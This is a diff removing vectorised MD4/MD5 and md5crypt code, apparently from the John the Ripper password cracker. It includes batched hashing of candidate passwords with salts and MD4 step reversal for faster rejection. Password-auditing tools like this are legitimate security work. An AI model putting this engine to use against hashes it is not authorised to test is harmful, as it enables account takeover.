-				MD5_STEP(MD5_H, a, b, c, d, 13, 0x289b7ec6, 4) MD5_STEP(
-					MD5_H2, d, a, b, c, 0, 0xeaa127fa, 11)
-					MD5_STEP_r16(MD5_H, c, d, a, b, 3, 0xd4ef3085, 16) MD5_STEP(
-						MD5_H2, b, c, d, a, 6, 0x04881d05, 23)
-						MD5_STEP(MD5_H, a, b, c, d, 9, 0xd9d4d039, 4) MD5_STEP(
-							MD5_H2, d, a, b, c, 12, 0xe6db99e5, 11)
-							MD5_STEP_r16(MD5_H, c, d, a, b, 15, 0x1fa27cf8, 16)
-								MD5_STEP(MD5_H2, b, c, d, a, 2, 0xc4ac5665, 23)
-
-		/* Round 4 */
-		MD5_STEP(MD5_I, a, b, c, d, 0, 0xf4292244, 6) MD5_STEP(
-			MD5_I, d, a, b, c, 7, 0x432aff97, 10)
-			MD5_STEP(MD5_I, c, d, a, b, 14, 0xab9423a7, 15) MD5_STEP(
-				MD5_I, b, c, d, a, 5, 0xfc93a039, 21)
-				MD5_STEP(MD5_I, a, b, c, d, 12, 0x655b59c3, 6) MD5_STEP(
-					MD5_I, d, a, b, c, 3, 0x8f0ccc92, 10)
-					MD5_STEP(MD5_I, c, d, a, b, 10, 0xffeff47d, 15) MD5_STEP(
-						MD5_I, b, c, d, a, 1, 0x85845dd1, 21)
-						MD5_STEP(MD5_I, a, b, c, d, 8, 0x6fa87e4f, 6) MD5_STEP(
-							MD5_I, d, a, b, c, 15, 0xfe2ce6e0, 10)
-							MD5_STEP(MD5_I, c, d, a, b, 6, 0xa3014314, 15)
-								MD5_STEP(MD5_I, b, c, d, a, 13, 0x4e0811a1, 21)
-									MD5_STEP(
-										MD5_I, a, b, c, d, 4, 0xf7537e82, 6)
-
-										if (SSEi_flags & SSEi_REVERSE_STEPS)
-	{
-		MD5_PARA_DO(i)
-		{
-			vstore((vtype *) &out[i * 4 * VS32 + 0 * VS32], a[i]);
-		}
-		return;
-	}
-
-	MD5_STEP(MD5_I, d, a, b, c, 11, 0xbd3af235, 10)
-	MD5_STEP(MD5_I, c, d, a, b, 2, 0x2ad7d2bb, 15)
-	MD5_STEP(MD5_I, b, c, d, a, 9, 0xeb86d391, 21)
-
-	if ((SSEi_flags & SSEi_RELOAD) == 0)
-	{
-		MD5_PARA_DO(i)
-		{
-			a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301));
-			b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89));
-			c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe));
-			d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476));
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
-		{
-			MD5_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(
-					a[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]));
-				b[i] = vadd_epi32(
-					b[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]));
-				c[i] = vadd_epi32(
-					c[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]));
-				d[i] = vadd_epi32(
-					d[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]));
-			}
-		}
-		else
-		{
-			MD5_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(
-					a[i],
-					vload((vtype *) &reload_state[i * 4 * VS32 + 0 * VS32]));
-				b[i] = vadd_epi32(
-					b[i],
-					vload((vtype *) &reload_state[i * 4 * VS32 + 1 * VS32]));
-				c[i] = vadd_epi32(
-					c[i],
-					vload((vtype *) &reload_state[i * 4 * VS32 + 2 * VS32]));
-				d[i] = vadd_epi32(
-					d[i],
-					vload((vtype *) &reload_state[i * 4 * VS32 + 3 * VS32]));
-			}
-		}
-	}
-
-#if USE_EXPERIMENTAL
-	/*
- * This is currently not used for MD5, and was observed to result
- * in a significant performance regression (at least on XOP) just by sitting
- * here. http://www.openwall.com/lists/john-dev/2015/09/05/5
- * NOTE the regression might be gone now anyway since we went from -O3 to -O2.
- */
-	if (SSEi_flags & SSEi_FLAT_OUT)
-	{
-		MD5_PARA_DO(i)
-		{
-			uint32_t * o = (uint32_t *) &out[i * 4 * VS32];
-#if __AVX512F__ || __MIC__
-			vtype idxs = vset_epi32(15 * 4,
-									14 * 4,
-									13 * 4,
-									12 * 4,
-									11 * 4,
-									10 * 4,
-									9 * 4,
-									8 * 4,
-									7 * 4,
-									6 * 4,
-									5 * 4,
-									4 * 4,
-									3 * 4,
-									2 * 4,
-									1 * 4,
-									0 * 4);
-
-			vscatter_epi32(o + 0, idxs, a[i], 4);
-			vscatter_epi32(o + 1, idxs, b[i], 4);
-			vscatter_epi32(o + 2, idxs, c[i], 4);
-			vscatter_epi32(o + 3, idxs, d[i], 4);
-#else
-			uint32_t j, k;
-			union {
-				vtype v[4];
-				uint32_t s[4 * VS32];
-			} tmp;
-
-			tmp.v[0] = a[i];
-			tmp.v[1] = b[i];
-			tmp.v[2] = c[i];
-			tmp.v[3] = d[i];
-
-			for (j = 0; j < VS32; j++)
-				for (k = 0; k < 4; k++) o[j * 4 + k] = tmp.s[k * VS32 + j];
-#endif
-		}
-	}
-	else
-#endif
-		if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
-			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
-		{
-			MD5_PARA_DO(i)
-			{
-				vstore((vtype *) &out[i * 32 * VS32 + 0 * VS32], a[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 1 * VS32], b[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 2 * VS32], c[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 3 * VS32], d[i]);
-			}
-		}
-		else
-		{
-			MD5_PARA_DO(i)
-			{
-				vstore((vtype *) &out[i * 16 * VS32 + 0 * VS32], a[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 1 * VS32], b[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 2 * VS32], c[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 3 * VS32], d[i]);
-			}
-		}
-	}
-	else
-	{
-		MD5_PARA_DO(i)
-		{
-			vstore((vtype *) &out[i * 4 * VS32 + 0 * VS32], a[i]);
-			vstore((vtype *) &out[i * 4 * VS32 + 1 * VS32], b[i]);
-			vstore((vtype *) &out[i * 4 * VS32 + 2 * VS32], c[i]);
-			vstore((vtype *) &out[i * 4 * VS32 + 3 * VS32], d[i]);
-		}
-	}
-}
-
-#define GETPOS(i, index)                                                       \
-	((index & (VS32 - 1)) * 4 + (i & (0xffffffff - 3)) * VS32 + ((i) &3))
-
-static MAYBE_INLINE void mmxput(void * buf,
-								unsigned int index,
-								unsigned int bid,
-								unsigned int offset,
-								unsigned char * src,
-								unsigned int len)
-{
-	unsigned char * nbuf;
-	unsigned int i;
-
-	nbuf = ((unsigned char *) buf) + index / VS32 * 64 * VS32
-		   + bid * 64 * MD5_SSE_NUM_KEYS;
-	for (i = 0; i < len; i++) nbuf[GETPOS((offset + i), index)] = src[i];
-}
-
-static MAYBE_INLINE void mmxput2(void * buf, unsigned int bid, void * src)
-{
-	unsigned char * nbuf;
-	unsigned int i;
-
-	nbuf = ((unsigned char *) buf) + bid * 64 * MD5_SSE_NUM_KEYS;
-	MD5_PARA_DO(i)
-	memcpy(nbuf + i * 64 * VS32,
-		   ((unsigned char *) src) + i * 16 * VS32,
-		   16 * VS32);
-}
-
-#if (ARCH_SIZE >= 8) || defined(__i386__) || defined(__ARM_NEON__)
-#define BITALIGN(hi, lo, s) ((((uint64_t)(hi) << 32) | (lo)) >> (s))
-#else
-#define BITALIGN(hi, lo, s) (((hi) << (32 - (s))) | ((lo) >> (s)))
-#endif
-
-static MAYBE_INLINE void mmxput3(void * buf,
-								 unsigned int bid,
-								 unsigned int * offset,
-								 unsigned int mult,
-								 unsigned int saltlen,
-								 void * src)
-{
-	unsigned int j;
-
-	MD5_PARA_DO(j)
-	{
-		unsigned int i;
-		unsigned int jm = j * VS32 * 4;
-		unsigned char * nbuf
-			= ((unsigned char *) buf) + bid * (64 * MD5_SSE_NUM_KEYS) + jm * 16;
-		unsigned int * s = (unsigned int *) src + jm;
-		for (i = 0; i < VS32; i++, s++)
-		{
-			unsigned int n = offset[i + jm / 4] * mult + saltlen;
-			unsigned int * d = (unsigned int *) (nbuf + (n & ~3U) * VS32) + i;
-
-			switch (n &= 3)
-			{
-				case 0:
-					d[0] = s[0];
-					d[1 * VS32] = s[1 * VS32];
-					d[2 * VS32] = s[2 * VS32];
-					d[3 * VS32] = s[3 * VS32];
-					break;
-#if 0
-			default:
-				n <<= 3;
-				{
-					unsigned int m = 32 - n;
-					d[0] = (d[0] & (0xffffffffU >> m)) | (s[0] << n);
-					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], m);
-					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], m);
-					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], m);
-					d[4 * VS32] = (d[4 * VS32] & (0xffffffffU << n)) | (s[3 * VS32] >> m);
-				}
-#else
-				case 1:
-					d[0] = (d[0] & 0xffU) | (s[0] << 8);
-					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 24);
-					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 24);
-					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 24);
-					d[4 * VS32]
-						= (d[4 * VS32] & 0xffffff00U) | (s[3 * VS32] >> 24);
-					break;
-				case 2:
-					d[0] = (d[0] & 0xffffU) | (s[0] << 16);
-					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 16);
-					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 16);
-					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 16);
-					d[4 * VS32]
-						= (d[4 * VS32] & 0xffff0000U) | (s[3 * VS32] >> 16);
-					break;
-				case 3:
-					d[0] = (d[0] & 0xffffffU) | (s[0] << 24);
-					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 8);
-					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 8);
-					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 8);
-					d[4 * VS32]
-						= (d[4 * VS32] & 0xff000000U) | (s[3 * VS32] >> 8);
-#endif
-			}
-		}
-	}
-}
-
-static MAYBE_INLINE void dispatch(unsigned char buffers[8]
-													   [64 * MD5_SSE_NUM_KEYS],
-								  unsigned int f[4 * MD5_SSE_NUM_KEYS],
-								  unsigned int length[MD5_SSE_NUM_KEYS],
-								  unsigned int saltlen)
-{
-	unsigned int i, j;
-	unsigned int bufferid;
-
-	i = 1000 / 42;
-	j = 0;
-	do
-	{
-		switch (j)
-		{
-			case 0:
-				bufferid = 0;
-				mmxput2(buffers, bufferid, f);
-				break;
-			case 21:
-				bufferid = 1;
-				mmxput3(buffers, bufferid, length, 1, 0, f);
-				break;
-			case 3:
-			case 9:
-			case 15:
-			case 27:
-			case 33:
-			case 39:
-				bufferid = 2;
-				mmxput3(buffers, bufferid, length, 2, 0, f);
-				break;
-			case 6:
-			case 12:
-			case 18:
-			case 24:
-			case 30:
-			case 36:
-				bufferid = 3;
-				mmxput2(buffers, bufferid, f);
-				break;
-			case 7:
-			case 35:
-				bufferid = 4;
-				mmxput3(buffers, bufferid, length, 1, saltlen, f);
-				break;
-			case 14:
-			case 28:
-				bufferid = 5;
-				mmxput2(buffers, bufferid, f);
-				break;
-			case 2:
-			case 4:
-			case 8:
-			case 10:
-			case 16:
-			case 20:
-			case 22:
-			case 26:
-			case 32:
-			case 34:
-			case 38:
-			case 40:
-				bufferid = 6;
-				mmxput2(buffers, bufferid, f);
-				break;
-			default:
-				bufferid = 7;
-				mmxput3(buffers, bufferid, length, 2, saltlen, f);
-				break;
-		}
-		SIMDmd5body((vtype *) &buffers[bufferid], f, NULL, SSEi_MIXED_IN);
-		if (j++ < 1000 % 42 - 1) continue;
-		if (j == 1000 % 42)
-		{
-			if (!i) break;
-			i--;
-			continue;
-		}
-		if (j >= 42) j = 0;
-	} while (1);
-}
-
-void md5cryptsse(unsigned char pwd[MD5_SSE_NUM_KEYS][16],
-				 unsigned char * salt,
-				 char * out,
-				 unsigned int md5_type)
-{
-	unsigned int length[MD5_SSE_NUM_KEYS];
-	unsigned int saltlen;
-	unsigned int i, j;
-	MD5_CTX ctx;
-	MD5_CTX tctx;
-	JTR_ALIGN(MEM_ALIGN_SIMD)
-	unsigned char buffers[8][64 * MD5_SSE_NUM_KEYS] = {{0}};
-	JTR_ALIGN(MEM_ALIGN_SIMD) unsigned int F[4 * MD5_SSE_NUM_KEYS];
-
-	saltlen = strlen((char *) salt);
-	for (i = 0; i < MD5_SSE_NUM_KEYS; i++)
-	{
-		unsigned int length_i = strlen((char *) pwd[i]);
-		unsigned int * bt;
-		unsigned int tf[4];
-
-		/* cas 0 fs */
-		mmxput(buffers, i, 0, 16, pwd[i], length_i);
-		mmxput(buffers, i, 0, length_i + 16, (unsigned char *) "\x80", 1);
-		/* cas 1 sf */
-		mmxput(buffers, i, 1, 0, pwd[i], length_i);
-		mmxput(buffers, i, 1, length_i + 16, (unsigned char *) "\x80", 1);
-		/* cas 2 ssf */
-		mmxput(buffers, i, 2, 0, pwd[i], length_i);
-		mmxput(buffers, i, 2, length_i, pwd[i], length_i);
-		mmxput(buffers, i, 2, length_i * 2 + 16, (unsigned char *) "\x80", 1);
-		/* cas 3 fss */
-		mmxput(buffers, i, 3, 16, pwd[i], length_i);
-		mmxput(buffers, i, 3, 16 + length_i, pwd[i], length_i);
-		mmxput(buffers, i, 3, length_i * 2 + 16, (unsigned char *) "\x80", 1);
-		/* cas 4 scf */
-		mmxput(buffers, i, 4, 0, pwd[i], length_i);
-		mmxput(buffers, i, 4, length_i, salt, saltlen);
-		mmxput(buffers,
-			   i,
-			   4,
-			   saltlen + length_i + 16,
-			   (unsigned char *) "\x80",
-			   1);
-		/* cas 5 fcs */
-		mmxput(buffers, i, 5, 16, salt, saltlen);
-		mmxput(buffers, i, 5, 16 + saltlen, pwd[i], length_i);
-		mmxput(buffers,
-			   i,
-			   5,
-			   saltlen + length_i + 16,
-			   (unsigned char *) "\x80",
-			   1);
-		/* cas 6 fcss */
-		mmxput(buffers, i, 6, 16, salt, saltlen);
-		mmxput(buffers, i, 6, 16 + saltlen, pwd[i], length_i);
-		mmxput(buffers, i, 6, 16 + saltlen + length_i, pwd[i], length_i);
-		mmxput(buffers,
-			   i,
-			   6,
-			   saltlen + 2 * length_i + 16,
-			   (unsigned char *) "\x80",
-			   1);
-		/* cas 7 scsf */
-		mmxput(buffers, i, 7, 0, pwd[i], length_i);
-		mmxput(buffers, i, 7, length_i, salt, saltlen);
-		mmxput(buffers, i, 7, length_i + saltlen, pwd[i], length_i);
-		mmxput(buffers,
-			   i,
-			   7,
-			   saltlen + 2 * length_i + 16,
-			   (unsigned char *) "\x80",
-			   1);
-
-		bt = (unsigned int *) &buffers[0];
-		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
-			= (length_i + 16) << 3;
-		bt = (unsigned int *) &buffers[1];
-		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
-			= (length_i + 16) << 3;
-		bt = (unsigned int *) &buffers[2];
-		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
-			= (length_i * 2 + 16) << 3;
-		bt = (unsigned int *) &buffers[3];
-		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
-			= (length_i * 2 + 16) << 3;
-		bt = (unsigned int *) &buffers[4];
-		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
-			= (length_i + saltlen + 16) << 3;
-		bt = (unsigned int *) &buffers[5];
-		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
-			= (length_i + saltlen + 16) << 3;
-		bt = (unsigned int *) &buffers[6];
-		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
-			= (length_i * 2 + saltlen + 16) << 3;
-		bt = (unsigned int *) &buffers[7];
-		bt[14 * VS32 + (i & (VS32 - 1)) + i / VS32 * 16 * VS32]
-			= (length_i * 2 + saltlen + 16) << 3;
-
-		MD5_Init(&ctx);
-		MD5_Update(&ctx, pwd[i], length_i);
-		if (md5_type == MD5_TYPE_STD)
-			MD5_Update(&ctx, "$1$", 3);
-		else if (md5_type == MD5_TYPE_APACHE)
-			MD5_Update(&ctx, "$apr1$", 6);
-		// else it's AIX and no prefix included
-		MD5_Update(&ctx, salt, saltlen);
-		MD5_Init(&tctx);
-		MD5_Update(&tctx, pwd[i], length_i);
-		MD5_Update(&tctx, salt, saltlen);
-		MD5_Update(&tctx, pwd[i], length_i);
-		MD5_Final((unsigned char *) tf, &tctx);
-		MD5_Update(&ctx, tf, length_i);
-		length[i] = length_i;
-		for (j = length_i; j; j >>= 1)
-			if (j & 1)
-				MD5_Update(&ctx, "\0", 1);
-			else
-				MD5_Update(&ctx, pwd[i], 1);
-		MD5_Final((unsigned char *) tf, &ctx);
-		F[i / VS32 * 4 * VS32 + (i & (VS32 - 1)) + 0 * VS32] = tf[0];
-		F[i / VS32 * 4 * VS32 + (i & (VS32 - 1)) + 1 * VS32] = tf[1];
-		F[i / VS32 * 4 * VS32 + (i & (VS32 - 1)) + 2 * VS32] = tf[2];
-		F[i / VS32 * 4 * VS32 + (i & (VS32 - 1)) + 3 * VS32] = tf[3];
-	}
-	dispatch(buffers, F, length, saltlen);
-	memcpy(out, F, MD5_SSE_NUM_KEYS * 16);
-}
-#endif /* SIMD_PARA_MD5 */
-
-#if SIMD_PARA_MD4
-#define MD4_SSE_NUM_KEYS (SIMD_COEF_32 * SIMD_PARA_MD4)
-#define MD4_PARA_DO(x) for ((x) = 0; (x) < SIMD_PARA_MD4; (x)++)
-
-#define MD4_F(x, y, z) tmp[i] = vcmov((y[i]), (z[i]), (x[i]));
-
-#if __AVX512F__
-#define MD4_G(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0xE8);
-#elif !VCMOV_EMULATED
-#define MD4_G(x, y, z)                                                         \
-	tmp[i] = vxor((y[i]), (z[i]));                                             \
-	tmp[i] = vcmov((x[i]), (z[i]), (tmp[i]));
-#else
-#define MD4_G(x, y, z)                                                         \
-	tmp[i] = vor((y[i]), (z[i]));                                              \
-	tmp2[i] = vand((y[i]), (z[i]));                                            \
-	tmp[i] = vand((tmp[i]), (x[i]));                                           \
-	tmp[i] = vor((tmp[i]), (tmp2[i]));
-#endif
-
-#if __AVX512F__
-#define MD4_H(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
-
-#define MD4_H2(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
-#elif SIMD_PARA_MD4 < 3
-#define MD4_H(x, y, z)                                                         \
-	tmp2[i] = vxor((x[i]), (y[i]));                                            \
-	tmp[i] = vxor(tmp2[i], (z[i]));
-
-#define MD4_H2(x, y, z) tmp[i] = vxor((x[i]), tmp2[i]);
-#else
-#define MD4_H(x, y, z)                                                         \
-	tmp[i] = vxor((x[i]), (y[i]));                                             \
-	tmp[i] = vxor((tmp[i]), (z[i]));
-
-#define MD4_H2(x, y, z)                                                        \
-	tmp[i] = vxor((y[i]), (z[i]));                                             \
-	tmp[i] = vxor((tmp[i]), (x[i]));
-#endif
-
-#define MD4_STEP(f, a, b, c, d, x, t, s)                                       \
-	MD4_PARA_DO(i)                                                             \
-	{                                                                          \
-		a[i] = vadd_epi32(a[i], t);                                            \
-		f((b), (c), (d)) a[i] = vadd_epi32(a[i], tmp[i]);                      \
-		a[i] = vadd_epi32(a[i], data[i * 16 + x]);                             \
-		a[i] = vroti_epi32(a[i], (s));                                         \
-	}
-
-#define MD4_REV_STEP(f, a, b, c, d, x, t, s)                                   \
-	MD4_PARA_DO(i)                                                             \
-	{                                                                          \
-		f((b), (c), (d)) a[i] = vadd_epi32(a[i], tmp[i]);                      \
-		a[i] = vadd_epi32(a[i], data[i * 16 + x]);                             \
-	}
-
-#define INIT_A 0x67452301
-#define INIT_B 0xefcdab89
-#define INIT_C 0x98badcfe
-#define INIT_D 0x10325476
-#define SQRT_3 0x6ed9eba1
-
-void md4_reverse(uint32_t * hash)
-{
-	hash[0] -= INIT_A;
-	hash[1] -= INIT_B;
-	hash[2] -= INIT_C;
-	hash[3] -= INIT_D;
-	hash[1] = (hash[1] >> 15) | (hash[1] << 17);
-	hash[1] -= SQRT_3 + (hash[2] ^ hash[3] ^ hash[0]);
-	hash[1] = (hash[1] >> 15) | (hash[1] << 17);
-	hash[1] -= SQRT_3;
-}
-
-void md4_unreverse(uint32_t * hash)
-{
-	hash[1] += SQRT_3;
-	hash[1] = (hash[1] >> 17) | (hash[1] << 15);
-	hash[1] += SQRT_3 + (hash[2] ^ hash[3] ^ hash[0]);
-	hash[1] = (hash[1] >> 17) | (hash[1] << 15);
-	hash[3] += INIT_D;
-	hash[2] += INIT_C;
-	hash[1] += INIT_B;
-	hash[0] += INIT_A;
-}
-
-#undef SQRT_3
-#undef INIT_D
-#undef INIT_C
-#undef INIT_B
-#undef INIT_A
-
-void SIMDmd4body(vtype * _data,
-				 unsigned int * out,
-				 ARCH_WORD_32 * reload_state,
-				 unsigned SSEi_flags)
-{
-	vtype w[16 * SIMD_PARA_MD4];
-	vtype a[SIMD_PARA_MD4];
-	vtype b[SIMD_PARA_MD4];
-	vtype c[SIMD_PARA_MD4];
-	vtype d[SIMD_PARA_MD4];
-	vtype tmp[SIMD_PARA_MD4];
-#if (SIMD_PARA_MD4 < 3 || VCMOV_EMULATED) && !__AVX512F__
-	vtype tmp2[SIMD_PARA_MD4];
-#endif
-	vtype cst;
-	unsigned int i;
-	vtype * data;
-
-	if (SSEi_flags & SSEi_FLAT_IN)
-	{
-// Move _data to __data, mixing it SIMD_COEF_32 wise.
-#if __SSE4_1__ || __MIC__
-		unsigned k;
-		vtype * W = w;
-		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
-		MD4_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT)
-			{
-				for (i = 0; i < 16; ++i)
-				{
-					GATHER_4x(W[i], saved_key, i);
-				}
-				saved_key += (VS32 << 6);
-			}
-			else if (SSEi_flags & SSEi_2BUF_INPUT)
-			{
-				for (i = 0; i < 16; ++i)
-				{
-					GATHER_2x(W[i], saved_key, i);
-				}
-				saved_key += (VS32 << 5);
-			}
-			else
-			{
-				for (i = 0; i < 16; ++i)
-				{
-					GATHER(W[i], saved_key, i);
-				}
-				saved_key += (VS32 << 4);
-			}
-			W += 16;
-		}
-#else
-		unsigned j, k;
-		ARCH_WORD_32 * p = (ARCH_WORD_32 *) w;
-		vtype * W = w;
-		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
-		MD4_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT)
-			{
-				for (j = 0; j < 16; j++)
-					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 6) + j];
-				saved_key += (VS32 << 6);
-			}
-			else if (SSEi_flags & SSEi_2BUF_INPUT)
-			{
-				for (j = 0; j < 16; j++)
-					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 5) + j];
-				saved_key += (VS32 << 5);
-			}
-			else
-			{
-				for (j = 0; j < 16; j++)
-					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 4) + j];
-				saved_key += (VS32 << 4);
-			}
-			W += 16;
-		}
-#endif
-		// now set our data pointer to point to this 'mixed' data.
-		data = w;
-	}
-	else
-		data = _data;
-
-	if ((SSEi_flags & SSEi_RELOAD) == 0)
-	{
-		MD4_PARA_DO(i)
-		{
-			a[i] = vset1_epi32(0x67452301);
-			b[i] = vset1_epi32(0xefcdab89);
-			c[i] = vset1_epi32(0x98badcfe);
-			d[i] = vset1_epi32(0x10325476);
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
-		{
-			MD4_PARA_DO(i)
-			{
-				a[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]);
-				b[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]);
-				c[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]);
-				d[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]);
-			}
-		}
-		else
-		{
-			MD4_PARA_DO(i)
-			{
-				a[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 0 * VS32]);
-				b[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 1 * VS32]);
-				c[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 2 * VS32]);
-				d[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 3 * VS32]);
-			}
-		}
-	}
-
-	/* Round 1 */
-	cst = vsetzero();
-	MD4_STEP(MD4_F, a, b, c, d, 0, cst, 3)
-	MD4_STEP(MD4_F, d, a, b, c, 1, cst, 7)
-	MD4_STEP(MD4_F, c, d, a, b, 2, cst, 11)
-	MD4_STEP(MD4_F, b, c, d, a, 3, cst, 19)
-	MD4_STEP(MD4_F, a, b, c, d, 4, cst, 3)
-	MD4_STEP(MD4_F, d, a, b, c, 5, cst, 7)
-	MD4_STEP(MD4_F, c, d, a, b, 6, cst, 11)
-	MD4_STEP(MD4_F, b, c, d, a, 7, cst, 19)
-	MD4_STEP(MD4_F, a, b, c, d, 8, cst, 3)
-	MD4_STEP(MD4_F, d, a, b, c, 9, cst, 7)
-	MD4_STEP(MD4_F, c, d, a, b, 10, cst, 11)
-	MD4_STEP(MD4_F, b, c, d, a, 11, cst, 19)
-	MD4_STEP(MD4_F, a, b, c, d, 12, cst, 3)
-	MD4_STEP(MD4_F, d, a, b, c, 13, cst, 7)
-	MD4_STEP(MD4_F, c, d, a, b, 14, cst, 11)
-	MD4_STEP(MD4_F, b, c, d, a, 15, cst, 19)
-
-	/* Round 2 */
-	cst = vset1_epi32(0x5A827999L);
-	MD4_STEP(MD4_G, a, b, c, d, 0, cst, 3)
-	MD4_STEP(MD4_G, d, a, b, c, 4, cst, 5)
-	MD4_STEP(MD4_G, c, d, a, b, 8, cst, 9)
-	MD4_STEP(MD4_G, b, c, d, a, 12, cst, 13)
-	MD4_STEP(MD4_G, a, b, c, d, 1, cst, 3)
-	MD4_STEP(MD4_G, d, a, b, c, 5, cst, 5)
-	MD4_STEP(MD4_G, c, d, a, b, 9, cst, 9)
-	MD4_STEP(MD4_G, b, c, d, a, 13, cst, 13)
-	MD4_STEP(MD4_G, a, b, c, d, 2, cst, 3)
-	MD4_STEP(MD4_G, d, a, b, c, 6, cst, 5)
-	MD4_STEP(MD4_G, c, d, a, b, 10, cst, 9)
-	MD4_STEP(MD4_G, b, c, d, a, 14, cst, 13)
-	MD4_STEP(MD4_G, a, b, c, d, 3, cst, 3)
-	MD4_STEP(MD4_G, d, a, b, c, 7, cst, 5)
-	MD4_STEP(MD4_G, c, d, a, b, 11, cst, 9)
-	MD4_STEP(MD4_G, b, c, d, a, 15, cst, 13)
-
-	/* Round 3 */
-	cst = vset1_epi32(0x6ED9EBA1L);
-	MD4_STEP(MD4_H, a, b, c, d, 0, cst, 3)
-	MD4_STEP(MD4_H2, d, a, b, c, 8, cst, 9)
-	MD4_STEP(MD4_H, c, d, a, b, 4, cst, 11)
-	MD4_STEP(MD4_H2, b, c, d, a, 12, cst, 15)
-	MD4_STEP(MD4_H, a, b, c, d, 2, cst, 3)
-	MD4_STEP(MD4_H2, d, a, b, c, 10, cst, 9)
-	MD4_STEP(MD4_H, c, d, a, b, 6, cst, 11)
-	MD4_STEP(MD4_H2, b, c, d, a, 14, cst, 15)
-	MD4_STEP(MD4_H, a, b, c, d, 1, cst, 3)
-	MD4_STEP(MD4_H2, d, a, b, c, 9, cst, 9)
-	MD4_STEP(MD4_H, c, d, a, b, 5, cst, 11)
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS)
-	{
-		MD4_REV_STEP(MD4_H2, b, c, d, a, 13, cst, 15)
-		MD4_PARA_DO(i)
-		{
-			vstore((vtype *) &out[i * 4 * VS32 + 1 * VS32], b[i]);
-		}
-		return;
-	}
-
-	MD4_STEP(MD4_H2, b, c, d, a, 13, cst, 15)
-	MD4_STEP(MD4_H, a, b, c, d, 3, cst, 3)
-	MD4_STEP(MD4_H2, d, a, b, c, 11, cst, 9)
-	MD4_STEP(MD4_H, c, d, a, b, 7, cst, 11)
-	MD4_STEP(MD4_H2, b, c, d, a, 15, cst, 15)
-
-	if ((SSEi_flags & SSEi_RELOAD) == 0)
-	{
-		MD4_PARA_DO(i)
-		{
-			a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301));
-			b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89));
-			c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe));
-			d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476));
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
-		{
-			MD4_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(
-					a[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]));
-				b[i] = vadd_epi32(
-					b[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]));
-				c[i] = vadd_epi32(
-					c[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]));
